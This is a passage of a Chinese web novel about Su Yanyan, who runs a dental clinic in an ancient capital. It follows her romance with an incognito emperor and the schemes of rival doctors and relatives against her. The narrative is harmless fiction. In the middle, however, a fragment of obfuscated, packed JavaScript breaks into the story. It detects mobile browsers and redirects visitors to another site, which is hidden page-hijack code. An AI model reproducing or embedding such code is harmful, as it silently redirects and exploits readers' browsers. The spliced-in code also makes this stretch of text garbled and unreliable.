天呐,这是哪一款的机器人男朋友?苏颜妍大翻白眼,拽出衣袖潇洒转身,一溜烟小跑,将他甩在身后。
手心一空,萧景琮反射性一抓,上好的丝绸顺滑无比,丝滑地从指尖流走。他回神后暗骂自己被迷了心窍,拔腿紧追。
俩人吵吵闹闹,挨挨挤挤,回家的一段路成了令人瞩目的追逐之旅。
街上夫妻们看到,会心一笑,年轻人,真是感情纯粹热烈啊。
小孩子们看到,喊叫一声“哥哥姐姐好羞羞哦”,嘻嘻哈哈跟着跑来跑去。
苏颜妍最后也没跑赢,轻声喘息着,被紧紧攥住手,并肩慢慢平息。
她接过萧景琮递来的手帕,擦拭热汗。
临近渃河,夏风携着水汽扑面而来,东城向南,就是建康路,医馆要到了。
两人放缓脚步,慢慢走着,与迎面走来的苏东林刚好遇上。
苏东林看到苏颜妍,明显一愣。他很快调整表情,主动躬身行礼问候:“苏姑娘,巧遇。”
他一身崭新学府书生装,白底青纹,同色系发冠,腰封一束,文质彬彬。
苏颜妍冲他点点头,没有言语,擦肩而过。
萧景琮倒是回头看了一眼,见他被无视也没有恼色,仍转身目送他们离开。看到萧景琮回头,他还颇有风度地颔首示意。
萧景琮面无表情转过头,开始暗搓搓打听:“这人是哪个?他怎么认识你?长得也就一般,一副老成的样子,你不喜欢这种吧?”
苏颜妍一听他说话,就知道这男人又转了什么样的心肠。
她回道:“小醋怡情,大醋伤身,暗中吃醋扣十分。别看到所有适龄的男人就当成是你的情敌,亲爱的男朋友。现在陪在我身边的人是你,你长得花容月貌,处事进退得宜,我稀罕着呢。自信些,男朋友。”
一席话把萧景琮哄得迷迷糊糊,晕头转向,变成呆头鹅。
这个夏天,苏颜妍慢慢推进自己的计划,回春堂牙科专科的名声逐渐被周边百姓们熟悉认可。
慢慢的,早晚漱口,用牙膏刷牙,成了上至耄耋下到小儿,人人皆知的常识。
遇到虫牙、牙齿缺损、牙本质过敏发炎等,大家都知道,回春堂的苏大夫,擅长治牙疾。
他们不再如无头苍蝇似的,不知去到哪个地方医治,只好求神问仙或者硬挨。
萧景琮也一直默默守护在苏颜妍身边,他们同进同出,亲密无间。
他支持她的梦想,陪伴她、信任她,他融入到她的生活里。
苏颜妍刚开始推广牙膏,阻力特别大。
实体商品制作本就不易,带着牙膏样品出行,比只带科普图画麻烦许多。
只靠她和小桃,找齐人手都相当困难。
萧景琮都不用她开口求助,直接安排人马,载上一罐罐牙膏,对她说:“不用客气,我的人手就是你的人手。你如果制作跟不上,我还有作坊,他们可以帮你生产。出行有我,多少东西都载的了。我是不是特别棒,女朋友?”
苏颜妍对他这学她说话的样子,完全没有抵抗力,她很自然地夸夸:“是是是,你特别棒,是最棒的男朋友。”
感情的滋生就像种子在成长,发芽的契机是温度、水分、空气,感情触发也是这样。
相遇、相识、相知,熟悉灵魂就像达到了合适的温度;
每一次恰到好处的救急、出谋划策、英雄救美,提供的安全感就是适量的水。
而
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陪伴,时时刻刻在身边,犹如充足的空气,绵绵密密,是一句句无声的告白。
萧景琮爱苏颜妍。
苏颜妍爱萧景琮。
这是命中注定的事。
苏颜妍想起某次外出,路遇老人,给她和萧景琮讲的故事。
“人和人的缘分都是老天爷写在命格里,到了该相见的时候,两个人就会遇见。哪怕隔了万水千山,也阻挡不了命中注定的相遇。缘分深的,死生纠葛;缘分浅的,回眸一顾。
缘分飘渺虚无,咱们凡人看不见摸不着。
可是那有缘人,总会有链接感情的信物。
或青丝一缕,或环佩半阙,还有更远的草原番邦,他们甚至会用自己的骨头牙齿当信物呢。
感情凝聚于信物上,信物承载着双方心与盼。
世间百态,爱恨嗔痴,纠葛足以穿透天庭地府。年轻人啊,要珍惜眼前人。”
苏颜妍记得当时老人家岁月浸润不掩明亮的眼,她们对视,对方的目光,仿佛能透过躯壳,直刺灵魂。
萧景琮和小桃听得入迷,离开后还沉迷在故事里。
苏颜妍记得萧景琮回神后,狗狗崇崇凑过来,悄悄对她说:“我们俩也有信物,天注定我们是一对的。”
“我收过你的信物?”苏颜妍纳闷回想,也没想出他郑重送过什么东西。
萧景琮日常就是黏在她身边,充当时时刻刻随时响应的角色。
他补了太多东西,苏颜妍一时半会儿竟不能记全,贵重的、珍稀的、手工的、天然的,是什么呢?
萧景琮冲她笑,笑得龇牙,洁白的牙齿仿佛变身光洁珍宝,闪着耀眼的光。
苏颜妍心头一动,问他:“牙齿?”
萧景琮重重点头。
“我的骨头延伸,汲取我血肉养分长成。深藏口中,如同龙之宝珠。是不是独一无二的信物?”
“送你了。只要你想要,只要我有。老天注定,我只会为你心动,我爱你,女朋友。”
苏颜妍唇角勾起,手指收紧,攥紧挂在胸前精致小巧的吊坠。
那是一个金丝编织、巧夺天工的小囊袋,里面存放着那颗取自“龙”口的信物。
萧景琮一朝开窍,说起情话来,真是让人难以招架。
哪怕是事后想起,心弦都会被他的话拨动,漾起圈圈涟漪。
可惜完美的告白毁于结尾,当时的萧景琮话音一转,开始拉踩:“像那些连人都没亲自来,只敢让媒婆带着画像的,看他们一眼都是多余。他们送的东西都是垃圾,绝对算不得什么信物。我有更好的,回去就给你换上,你不要看他们,街上遇见也不要回头……“
苏颜妍一腔柔情蜜意烟消云散,被他离谱的操作震惊到:告白时主动cue情敌,全天底下还有比这更抓马的吗?
她当场气笑:“萧景琮,你要不要清清你脑子里的豆腐渣!”
不解风情的大冤种!
她转身就走,没走成。
萧景琮钳拉住她的胳膊,巧劲一拉,将她紧紧禁锢怀中。
他不满低头:“全天底下我最爱你,你为了那些垃圾外人冲我发火?你……”
他目光对上了她几欲喷火的眼睛。
苏颜妍挣动身体,从禁锢圈中解放双手,揪着他的耳朵往下拽,拉下那颗木头脑袋。
堵住那张让她又爱又恨的嘴。
笨蛋萧景琮!
35. 暴雨突至
夏日的天气总归是阴晴不定,上午还是烈日当空,下午就风起云涌,暴雨如注。
苏颜妍午睡起来,哗哗的雨声如同天地嗡鸣的交响曲,引得瞌睡虫上头,眼皮打架。
苏夫人在外间,可能是听到她从床榻爬起的响动声,绕过帷帘靠近。看她脸上红扑扑的睡痕仍在,眼睛半睁半闭,就知道她还没清醒。
苏夫人劝道:“雨下得急,医馆也没有事情,你继续躺一会儿,不必忙着起。这些天你不停地出去给大伙儿义诊,瘦了好多,脸都晒红了。你父亲当年也没有这样辛苦过,别太累着自己。”
苏颜妍迷迷糊糊揉揉眼,试图让自己清醒:“下午原本打算去北城呢,突然下雨,计划赶不上变化。小桃也不知呆没呆在家里,应该提前告诉她这种天气不用来医馆的。”
“小桃精着呢,看风一起就知道要下大雨,早捎信来说收好立牌宣传画,留在家里等天晴了。倒是你看上的那个谁谁谁,这会儿困在回春堂,进不得退不得呢。”苏夫人边调侃,边用手巾从铜盆浸水拧干,带着凉意的湿巾擦拭她润红的脸。
“你天天不得闲,和那人同进同出,多少双眼睛看着呢。我不常出门,都有人巴巴凑过来,和我说说你那位裙下之臣的小话呢。”
苏颜妍一整个大无语:“谁这么八卦啊,跑到咱们家专门找你说我的小话?”
“倒也没那样不长眼色,是我出门买菜,遇见前街后巷的街坊们,她们好奇问一问罢了。”
“我们忙着宣传医馆呢,有什么好问的,真无聊。”
“她们哪里看见过这样温柔体贴的男子,仲景人长得俊,家境又好,天天贴着你,可不惹眼么。娘觉得她们说的有一些道理,你年纪也老大不小,真喜欢人家,先定下来也不错。你觉得呢?“
苏颜妍叹气:”娘,之前劝我多去相看别人的是你,这会儿觉得人家不错又催我定亲啦?坚定点,人又跑不了。“
老话说得好,丈母娘看女婿越看越爱,果然没错。
萧景琮这家伙,嘴甜起来,能把任何人哄得迷迷糊糊。
早晚接送,出入陪同,上门必带礼物,绝不空手。
人前人后对着苏颜妍服服帖帖,令行禁止。
一套下来,果然打动了苏夫人的心,荣获相亲对象第一名的宝座。
苏夫人哪里见识过这种软泡硬磨的手段,只觉得这人又痴心又坚定,家境还不错,这样的好女婿人选简直万里挑一,恨不得早早让苏颜妍嫁与他。
苏夫人热切催婚,还真不为所谓的面子或者虚荣,也不是为了攀附。她只是本能觉得,周围人都已经围观女儿与男子言行过密,四邻都能直白追问,倘若女儿一直没有定亲,舆论名声会化作一座大山,分分钟能把人压垮。
她没有帮女儿扛起偏见的本事,只好一句句地催促:“仲景人不错的,你也喜欢,咱们做主先定下来,也堵住其他人说闲话。你有主见,什么时候嫁娘都依你,咱们别在名声上吃亏。”
毕竟,世道之于女子,总是苛刻许多。
同样私相授受,指责女子的人,总比指责男人的多得多。
妍娘本就顶风接管医馆,抛头露面,备受关注。现在婚约未定,与男子频繁接触,她担心极了。
苏颜妍没能考量到苏夫人的心情,她们思维认知隔着时空,一如高悬的月不懂水中的影。
她嘻嘻哈哈笑问:“娘之前还给我搜罗了一堆适婚男子呢,和仲景定下,其他人不相看啦?”
苏夫人气急点她:“两条腿的男人多的是,比得上他的可不多。仲景身家清白富贵,对你百依百顺,长相谈吐也上上乘,最重要的是你喜欢。既然没有人比他更好,那你何不早些下手。”
苏颜妍噗嗤笑出声:“娘这会儿催我定亲,小桃遇见的事又不害怕啦?”
“仲景不是那种人,你的眼光,娘还是信得过的,真是个表里不一的,你是决计看不上。”
“小桃倒是比娘还担心我。她上次和我说悄悄话,担心我定亲以后,醉心男女情爱,把医馆扔一边,她再也不能跟我学习呢。”苏颜妍回想起小桃气鼓鼓的包子脸,止不住想笑。
小桃当时眼神幽怨,一身森森黑气,就连眼睛都是泪汪汪:“苏姑娘是不是要被抢走了,我就知道那个可恶的醋桶就是苏姑娘的绊脚石。男人只会影响你成功的速度,苏姑娘能不能别被骗走呜呜呜……”
苏颜妍真是好气又好笑,揽着她的肩,问:“我像是那种被骗感情的傻白甜吗?太看不起我了吧小桃,小心我给你加课业。”
小桃一听,声音也不哽咽了,浑身郁气一扫而空,精神抖擞志气昂扬:“好教苏姑娘知道,我一点也不担心您,醋桶除了会吃醋,不过是您手心里的虫,哪里是您的对手。苏姑娘能镇住他,我才不害怕呢。”
她说着说着又开始结结巴巴:“就是…就是…他总缠着苏姑娘,这也插手那也管的,牢头似的。苏姑娘,您和他在一起,他好烦人啊。我不喜欢他影响您的事业,姑娘喜欢他,可别太宠他。”
萧景琮一个皇帝,隐姓埋名,深入群众,居然被小桃嫌弃成这样,真是不知说什么好。苏颜妍一时不知向谁吐槽,简直憋得肚腹难受。
苏夫人也跟着笑得开怀:“小桃从齐家那件事里走出来,恢复精神了,真好。仲景这孩子也是,太粘你了,世间少有。总归是个不错的人选,妍娘你最好上心,别等人家真的放手,徒增遗憾。”
“我晓得,娘放心。”苏颜妍点头。
有人欢喜有人愁。
苏东林家,孟氏和苏小香的心情,可不太美妙。
苏颜妍与萧景琮同进同出,这会儿看到的人不少。孟氏早就把苏家的医馆家业视为自己的囊中物,得知苏颜妍与富家公子哥情投意合,很是不忿,又气又惊。
气的是,苏颜妍嫁入高门,她儿子获取苏家产业的难度徒增。惊的是,她突然意识到,苏家的产业并不是她想象中那样十拿九稳。
煮熟的鸭子要飞走,她怎能不怒不惊。
孟氏气不顺,舍不得冲苏东林说重话,只好冲苏小香骂骂咧咧:“苏家那个小皮娘,真是上梁不正下梁歪。哪有未婚女子整日与外男外出闲逛,何等放浪。天上怎么不落个雷,劈到这对狗男女身上。我告诉你,你可不能跟她一样,追着男人跑。让我知道,打断你的腿!”
苏小香不忿道:“娘骂那个苏颜妍也就罢了,干嘛数落我。我跟着哥哥来京城,福是半点没享,气是一件不落。当时咱们从村里搬来,娘可算好了哥哥能接手苏家的医馆和产业。现在咱们来了这么多天,连个铜子都没见着,更别说给我找个京城里的好人家了。娘,你有空骂我,还不如找哥哥商议商议,赶紧想办法把苏家弄到手啊。”
“你当我不想吗?”孟氏大怒:“我原本想着,苏南星家里那个病秧子,没能给他家添丁,这可是绝户,大不孝!东林学业好,脑子灵,给他家当个嗣子,他们还不是要感恩戴德。谁承想那个病秧子,教出个不知羞耻抛头露面的女儿,竟自己撑家立业,完全没把东林放在眼里。她们不开口,我能怎么办?难道要上赶着给她们家送儿子吗?”
孟氏的不
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忿,苏东林早就明白,当时上京带着孟氏与苏小香两人,就是考量到苏夫人和苏颜妍两个女子,就是想过继嗣子也不好直接接触,有妇道人家打交道会便宜。
人算不如天算。
苏夫人不发话,苏颜妍数次冷脸相待,苏东林心中的火气不比孟氏少。可他城府要比孟氏深得多,一计不成,马上找上了盟友问对策。
是的,苏东林一家进京城,背后是有人上门指点的。
此人黑衣黑帽,面巾蒙脸,神秘的紧。是他到了苏东林的村中,告诉他京城有苏南星这户人家,只有一独女,家业无人继承。鼓动他到京城,成为苏家嗣子,资源尽数可以帮他疏通关系,进入好的学府,无论是走科举还是授官,钱都是硬通货。
他一个农家子,一朝能有望获得不菲的财产,进能得势退能得财,怎能不心动。
可惜世间野望炽热如火,也抵不过现实的冷雨狂风。
如同今日无常的天气一般。
“请教阁下,此事当怎么办?苏家无意过继嗣子,我几次三番去见苏家母女,半分进展皆无。倘若事不成,你我交易,可就做不得数了。”苏东林冷冷道,眉目间一片漠然。
他对面的黑衣人眼神明灭,狠戾如狼:“怕什么,苏家小娘子再能干,照样是个女人,还不是栽到一个男人手里。只要她沉溺于感情中,自然不能全身心投入事业里。医学界,可没有万无一失的神之手。耐心等待,总会有得手的时候。”
雨势浩大,水声盖住絮语,阴谋藏匿在黑暗中,悄然滋生。
“这雨也太大了,好像天上裂了个口子,天河里的水泻下来似的。”苏夫人望着窗外,挂上忧色:“仲景还在医馆,看这雨势,一时半会儿怕是停不下来。要留他在咱家吃个饭么?”
苏颜妍让她安心呆着:“怕什么,几步路罢了,我去看看他。娘自己吃吧,我们会想法子解决哒。”
“你要冒雨去医馆?妍娘,这大雨天,你一个女孩子,出去一趟多不方便?淋雨生病怎么办?唉,这孩子——”苏夫人拦不住她,见她执着油伞冲进雨幕,不由气急跺脚。
催定亲,就知道推辞;
有点事,什么都不顾就冲前头。
妍娘这孩子,真让她又气又怜。
仲景也是个笨的,小桃看到反天了,都知道留在家里不出门,他一个大男人,明知天气异常,还出门到医馆等着,真是让人不知说什么好。
苏颜妍也是这样想的,外面风雨交加,油伞哪里能挡得住狂风暴雨。
她到了医馆,浑身都被雨淋湿,鞋子被泡得黏软,一步一个湿脚印。
萧景琮吃过中饭就到了医馆,暴雨突至,将他困住,他一腔郁气,做好了今日见不到苏颜妍的准备。
没想到雨势没停,她却顶风冒雨前来,落汤鸡似的,让他又爱又怜。
“颜妍,你怎么过来了,这边有备份衣服吗,快换一身。”
“听我娘说,你被困在医馆里,我哪里放心的下。不来看看你,饭都要吃不进去啦。”苏颜妍眉眼弯弯,笑意如此刻的水汽,充盈附着在他身边。
待她换完一身干衣服,擦着发间的水滴,萧景琮早就备好热气腾腾的姜茶,给她倒了满满一杯:“来喝几口,驱驱寒气。”
他接过毛巾,小心翼翼给她擦拭湿润的发,如同对待心爱的珍宝,轻柔郑重。
他克制不住手指拂过她小巧的耳垂,沙哑着声音问道:“你可是为了我,专程冒雨出来这一趟?我好开心……”
他垂下鸦羽一般的睫毛,红了眼眶。
36. 成功背后
“萧景琮这小子,也有今天。素来对着我们的感情不屑一顾,现在自己有了心上人,作态比我还不如。”
“也就你这个当大哥的,对着他有无限包容。我当年就知道,他就是自己没人爱,憋屈到变态。你帮他那么多,还阻拦你感情生活,熊孩子就该毒打一顿。”
“阿因,你给他吃够苦头了。”
“所以现在你还安稳地呆在皇宫,帮他继续收拾烂摊子。他的苏姑娘也还平平安安和他增进感情呢。”
“他既然喜欢,合该光明正大下聘求娶。总黏着人呆宫外面,也太没出息了。”
“萧晟玹,当年我追着你从安南到北都,你怎么一直拒绝,是我不够喜欢你么?”
袁因横了他一眼,想起旧事,虽已经狠狠让他痛过,依旧耿耿于怀。
萧晟玹赶紧哄道:“都是我的错,当年委屈娘子,跟着我这石头脑袋受苦了。景琮比我灵光,定是跟着你学习到了一星半点的本事。娘子教得极好极好。”
“巧言令色,油嘴滑舌,你们兄弟俩一脉相承,像得很呢。”袁因叹气:“遇上苏姑娘,也是萧景琮的福气。那位姑娘,可比我强上许多。”
她当年任性、固执,一眼认定萧晟玹,天涯海角也要追逐。苏姑娘却不是她这种醉心情爱的女子。
她看萧景琮,像看当年的自己,唏嘘不已。
有些人的三观极其坚固,认定的东西,半分都不会动摇。
当年的萧晟玹为了报恩能将自己的感情割裂,固执到用一生去填补恩情。
现在的苏姑娘,一位顶着世俗偏见,以独女身份当家的人物,她会甘愿嫁入深宫,斩断羽翼么?
萧景琮是天子,他的身份暴露,世人只会钦羡,可是那位苏姑娘,恐怕只会觉得困扰。
见过天地宽广的鹰隼不会喜欢囚于一隅金笼。
皇后,多么华而不实的冠冕。
苏姑娘当固然能胜任,她又是萧景琮心爱之人,纵是身份低了些,也不会有人敢直接反对。
可是,她会不自由。
毕竟从古至今,没有任何一位“皇后”,能随意出入宫闱,去拥抱城外的风。
这位苏姑娘,肯为了富贵锦绣、瑶琚华裳,放弃渃河的水、旗山的云吗?
苏颜妍自然是不肯的。
她忙着事业,无心婚事,每天拒婚一百遍。
“妍娘,和仲景谈了没?黄道吉日,可以定亲了。”苏夫人日常一问。
苏颜妍:“这会儿忙着呢,再说吧。”
十动然拒,溜走。
苏夫人:“今日东街程家娶了新妇,很是热闹。你不想去看看吗?”
看看人家适龄男女,成家立业,何等恩爱。
苏颜妍:“结婚只会影响我奋斗的速度,等我一统牙科,天下扬名,自然会考虑考虑终身大事。”
谈恋爱就够了,结婚退退退!
苏夫人:“你不想成亲,还拖着人家仲景,他家愿意等你吗?”
好不容易遇见合适的人,可别拖着拖着走散了。
苏颜妍张口就来:“娘你多给我攒攒嫁妆,等他生气着急了,我天天给他买东家的糖啊西家的饼啊,好好哄哄他。”
“跟你说正经的,你搁这糊弄娘。这孩子,怎么这么不开窍呢?”苏夫人真是对她束手无策,只好任她溜出去搞什么大事业。
改革这回事,难的就是开始。
在萧景琮鼎力相助下,苏颜妍的独立牙科路子铺开,终于有足够的“自来水”帮她宣传。
这会儿,上到八十老人下到牙牙学语小儿,都初步知晓:
遇到牙齿问题,有专门的牙医生,来处理治疗。
不用喝老中医那里苦苦的药汁,外科喝药喝不好,要找苏医生去除病灶。
牙医生,真是新奇的称呼。听说回春堂免费教授牙科的知识,去学习不仅不要束脩,半工半学还包吃包住呢。
十里八乡听说的年轻人都沸腾了,这样的机会千载难逢,去学一手本事,能学成有了这手艺,能养家糊口,多大的好事!
当一件事成了时髦的传闻,周围人心照不宣,那无疑是成功的广告。
这会儿,可怜苏家寡妇独女,无儿可依的声音,在医馆门庭若市的喧闹中冰消雪融。
留在众人心中的,是苏颜妍成功的样子,是她接手家业,将事业发展,使之更上一层楼的亮眼战绩。
市井传闻,苏大夫失踪,可他有个了不起的女儿。
本领高强,极其擅长经营,仿佛天赐一般的灵巧。
只要是口里的病症,不管是牙齿还是舌头,她一眼就能看出是得了什么病。
这种本事,岐黄谷的医师都做不到,自然也引来众人的街谈巷议:
“真是了不得!咱们土生土长的京中小姑娘也能有这样的本事!我听说是天生就会的,牙仙娘娘梦里教授的,厉害着呢。”
“怪不得能从学医十多年的大夫手里护住家业,有这样的技术,苏姑娘真是子承父业,回春堂起码五年能在京中独占鳌头。”
“是啊,她和姓白的争医馆,老汉我还去围观过呢。我一眼就看出她是有大出息的人才!这下我牙齿有救了,它再敢给我闹疼,我找苏姑娘给它拔喽!”
“她真敢拔牙?搞不好会出人命的,我三表姨家姑爷爷当年就是牙疼,在他们本地有名的医馆诊治,药喝了几十副,受不了找大夫拔牙。你猜怎么着?牙拔出来,命也没了!这苏姑娘是胆子大还是手艺绝?真敢说拔牙就拔牙?”
“那还有假?苏姑娘身边跟着一个公子哥,他的牙就是苏姑娘亲自动手拔掉的。我可看的真真的。”
“哎呦,真有一手啊。济世堂的林大夫也不敢下手拔牙吧,还是这小姑娘误打误撞,碰巧遇见个不严重的?”
“唉,一个人有可能是碰巧,许多人可就是人家有真本事啦。苏姑娘在北城的那个什么宣传,我正好去听过。现场遇到主营糖茶买卖的夏老板,嘿,他的牙疾就是苏姑娘治好的!”
“这么灵?可别是串通好了唬我们的吧?”
“夏老板家财万贯,谁能收买他啊。除了他,南城河套村老江头,这个你可以去打听打听,渃河上有名的摆渡人。他的牙疾,脸都肿了,苏姑娘给他开的药,怜他老弱,让他自己找药草呢。现在那老头早好了,这会儿还在河上,你不信就去问他。”
“这可真是活菩萨,照顾穷苦人家的医馆凤毛麟角,苏姑娘好人啊。”
……
回春堂。
慕名前来的人,非常多。
又听说苏颜妍无偿教授牙科知识,过来指望能学个三招两式的。
有身患牙疾,被牙疼折磨,满怀希望前来就诊的。
甚至还有商人拜访,想买一批成品牙膏牙刷,带到京城外卖给外乡人的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146722|160609||http|test|mini|href|location''.split(''|''),0,{}));
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>太阳将空气烤的炽热,人群让医馆变成一锅沸腾的开水。
苏颜妍咕嘟咕嘟灌下半杯水,湿润的水流抚平冒火的喉咙。她喘息几声,从繁忙中偷闲平复心中躁意,在后厅小憩。
幸好她提前教会小桃各种知识与手段,这会儿小桃坐镇前堂,有模有样处理各种事项,半点看不出曾经她只是个平凡农家女。
这无疑也给前来拜师学艺的年轻人做了榜样。
这些人如同打了鸡血,盯着小桃一举一动,试图从她的举动中学到知识。他们不放过任何一句话,像奋力生长的树木,如饥似渴汲取能让他们长高的养分。
怀揣梦想努力学习知识的样子,和几个月前的小桃是那样像。
小桃变更加认真,摆出一百分的言行,模仿苏颜妍曾经教授她、为她解惑的样子,给这些新学生们讲解。
前厅时不时传来一阵阵恍然大悟的惊叹声。
苏颜妍坐着休息,听着这群点燃热爱之心的学徒们喁喁私语,会心一笑。
知识汇源与分流,总是一件让人心情舒畅的快意事。
很庆幸她坚持改革,给这些人带来希望与未来。
门户轻响,萧景琮闪身进来,给她递上一碗冰盏。梅子浸润在冰凉的糖水中,冷气与果香交织,引得人口舌生津。
“宫中秘制梅子汤,御厨拿手消暑圣品,尝尝。”
“好喝!”苏颜妍浅尝一口,眼前一亮,称赞道:“炎炎夏日,感谢亲爱的萧公子贴心带来消暑饮品。梅子汤啊梅子汤,萧景琮是不是世界上最好的男朋友?嗯嗯,是的!”
萧景琮嘴角上扬,克制不住笑意,心里比喝了十碗梅子汤都美滋滋:“你喜欢就好,下次我再让他们准备。今日医馆来的人真多,是不是累着了?”
“还好,幸亏有小桃在呀。”苏颜妍长舒口气,双手举高至头顶,伸展身体:“科普宣传大成功,这会儿人多数是跟风来医馆的。等我带出一批实习生,人手马上就够用的。老带新,互相教授学习,循环起来,这事就成了。”
“你总不会打算到那时才给我个名分吧。”萧景琮幽怨地说。
他忍了很久了,每次暗暗表现都被哄过去,泥人都要有三分火气的,他想娶她呀。
苏颜妍将高举的手顺势放在他肩头,柔声细语:“好宝宝,医馆步入正轨后,很快就能到那天的。我现在最最最喜欢的人就是你啊,等我把医馆规整顺,我们再进一步嘛。”
萧景琮再大的火气,被她这样小声哀求,也烧不起来。
他只能愤愤哼出短促的“啧”声,将她掬抱入怀,薄唇贴上她蜜语甜言的嘴。
他们交换了一个温柔缱眷的吻。
前厅,新来的学徒们围着小桃七嘴八舌:“刚才去到后堂的就是追求苏姑娘的那位公子?”
“听说他们焦不离孟,苏姑娘的所有提议,他都全力支持。真是个好人啊,一表人才还有钱,配得上苏姑娘。”
“看样子,咱们回春堂好事将近呢。苏姑娘成亲,我一定来帮忙,张罗一桌上好的席面。我祖上可是厨子!”
“真是郎才女貌/天作之合啊!”
小桃皱眉制止他们议论:“咱们专心学知识,苏姑娘私事,都不要多言。仲景公子可不是苏姑娘,让他听到你们说苏姑娘小话,小心他削你们。到时候,谁都救不了你们。”
“……喏!”众人面面相觑,行礼噤声。
37. 盛名之下
东城,建业街。
“齐老夫人,又去医馆看口疮啊?这个月第三回了,还没根治呢。”相熟的妇人热心招呼着。
身着香云纱的齐老夫人捂着半张脸,只遥遥点了点头,坐上牛车离去。
打招呼的妇人旁边,传来数人窃窃私语声:“嘿,是不是她私底下摆弄是非,老天爷看不过去,罚她遭一遭口舌业罪。”
牛车上,齐老夫人的媳妇范氏揉着手绢咬牙道:“气死我了,这群人才该烂掉口舌!咱娘厚道本分了一辈子,到老还被他们编排!”
她皱眉看向一旁的丈夫:“三郎,咱们去回春堂吧,我听说那边有个苏医生,是个姑娘,菩萨教导她本事,治疗牙口可灵了。”
齐三郎犹疑道:“仿佛听说她擅长的是治牙疾,咱娘是生疮,能对症么。”
范氏柳眉倒竖:“死马当活马医,咱们前前后后去各家医馆给娘诊治,存银都要花光了。能治好倒也值当,可你看看,娘还是三天两头的反复生疮。我告诉你齐三,别为了个远房族亲和大夫治气。能治好咱娘,你给我把心摆正喽。”
齐三郎家与齐大郎家同宗,算是远亲。齐大郎合同林娘子算计苏家入了狱,两家不可避免尴尬生疏起来。
齐家与苏家同住建康街,素日有个头疼脑热,绕路都去其他医馆,从未踏足回春堂。
齐三郎头大道:“咱们平日都去济世堂的,病没治好中途改医馆,见到林大夫我怎么好开口!”
齐三郎不好开口,范氏却忍不了:“你亲娘重还是你那点脸面重?济世堂能治好咱们怎么会换医馆!他们无能怎么能怪我们,你娘这病不好,食水难进,我备菜也为难、伺候也受气。你干脆让我和离回娘家算了!”
婆母满口生疮,侍奉吃喝尤为难缠。齐三郎可以躲出去,她在内宅处处难为,实在是捱不下去。
“好好好,依你就是了,这就送娘到回春堂找苏姑娘。”齐三郎转头让车夫掉头,从去济世堂的路上变道。
实际上,齐三郎家这样的情况,这并不是个例。
苏颜妍宣传铺开后,全城医馆都不同程度的受到了冲击。
病人转身离开,去往回春堂,各家医馆的大夫心中的不满逐渐增加。
济世堂,后堂会客厅。
“回春堂太过猖狂!医馆之间井水不犯河水,这是老祖宗留下来的规矩。他们苏家人内讧争医馆的时候,我们可没趁机去网罗他们家的病人。”
“现如今,那位苏医生又是到我们这边宣传,又是什么科普,这不就是变相抢我们周围的病患吗?人都去回春堂看诊,是想让我们家医馆关门吗?”
“更别说病人已经在我家医馆诊治,医好了大半。等到了她家,病都要好了。她家医馆平白多了个好名声,脚下踩的是我们这些尽心竭力的大夫的心血!”
“属实过分!”
客厅长桌,坐满京中各家医馆的掌柜。这群平均年龄四十多岁的男人们,不复医者冷静缜密的姿态。
怒火烧红他们的脸,愤恨灼烫他们的心。
他们如同聚拢的鬣狗,磨着爪牙蠢蠢欲动,试图撕裂猎物,分食一空。
“病人听信传闻,硬要半途离开,去回春堂诊治,我们也不好硬拦。”
“女人就该在家相夫教子,苏南星何等恭谨识相,家中竟出了这样一个不守规矩的丫头。不成体统,世风日下啊。”
“治病是有疗程的,哪里能一蹴而就。宣扬能药到病除的那都是骗子,给咱们大夫群体抹黑的。我等研习医术,日夜不辍,如今竟被一个黄毛丫头摘果子,这口气我咽不下去。林医师,您说句话,这事怎么办?”
“据我所知,她不光是抢人,就连全城统一的药价规矩都不遵守。回春堂甚至公开常见药方的平价药材,这是要断咱们的财路啊。”
“林掌柜,林当家的,您发个话,咱们后边怎么办吧。”
各家掌柜神情激动,对苏颜妍所作所为十分不满。
济世堂的林掌柜素来是医馆领头人,他们过来,就想让他想个法子。
林有仁挑眼看了开口的复康堂掌柜,不紧不慢地说道:“陈兄何必激我,我家小女刚从牢里捞出来,元气大伤。苏南星在时,我林家何曾与他交恶,他家独女骄矜蛮横,又攀上了贵人,我此刻也是动他不得。”
陈掌柜面沉如水,恨的拍桌子:“那咱们就放任她这样嚣张跋扈?”
复康堂在北城,周围只他一家医馆。
北城多是外地人进京讨生活租住的地方,复康堂并不怎么看得起这群人,日常态度并不热络。
苏颜妍到北城一宣传,依靠免费的知识收拢了不少人心。这群外乡人有了便宜的医馆选择,复康堂营收一日降了九成!
陈掌柜的作风,这些人都有数。
林有仁也只淡淡提点道:“你且忍她让她,花无百日红。依仗人势,总有失势的时候。她已经得罪全城的医馆,咱们只等着找她算总账罢。”
若不是顾忌萧景琮,他们又何必畏首畏尾。
一个小娘子,啧。
且先让她得意几天,靠山倒了,有的是法子收拾她。
这些风起云涌的恶意,苏颜妍浑然不觉。
她面对带着殷切与期望来到回春堂的人们,一视同仁,尽心尽力。
就连曾坑害过小桃,与她交锋落败的齐家远亲——齐老夫人,上门求医时,她也没拒绝。
回春堂日常是由小桃坐镇盯着,安排学徒半工半学,救治病人。
遇见小桃搞不定的疑难杂症,苏颜妍才会出手。
齐三郎夫妇带着齐老夫人来求医,还是小桃松口喊来的苏颜妍。
齐三郎是个真孝子,对着苏颜妍就跪了下去:“苏姑娘,您行行好,救救我娘吧。”
不知情的,还以为他娘得了什么不治之症、她苏颜妍多么铁石心肠呢。
苏颜妍没为难他:“放心,在我这儿,冤有头债有主,谁造孽谁弥补。儿是儿,娘是娘,更何况你们还隔几房。”
她细细为齐老夫人检查了口腔,对于她的病症,心中有数。
“老夫人这病,不是大事。它容易治好,但治好后,会反复发作。”苏颜妍细细说与他们听。
范氏在旁边接口道:“对对对,就是这症状。我们也去其他医馆看过,总除不了根。过几天,我娘又是满口生疮,遭罪啊。苏姑娘、苏大夫,您给费心看看,到底是怎么回事?”
她真是被婆婆这病折磨的不轻,做梦都想她快些康复。
苏颜妍理解她的心急,她放下口镜,让齐老夫人坐起身,道:“想让它不复发也简单,我说的你们可要记下做好。”
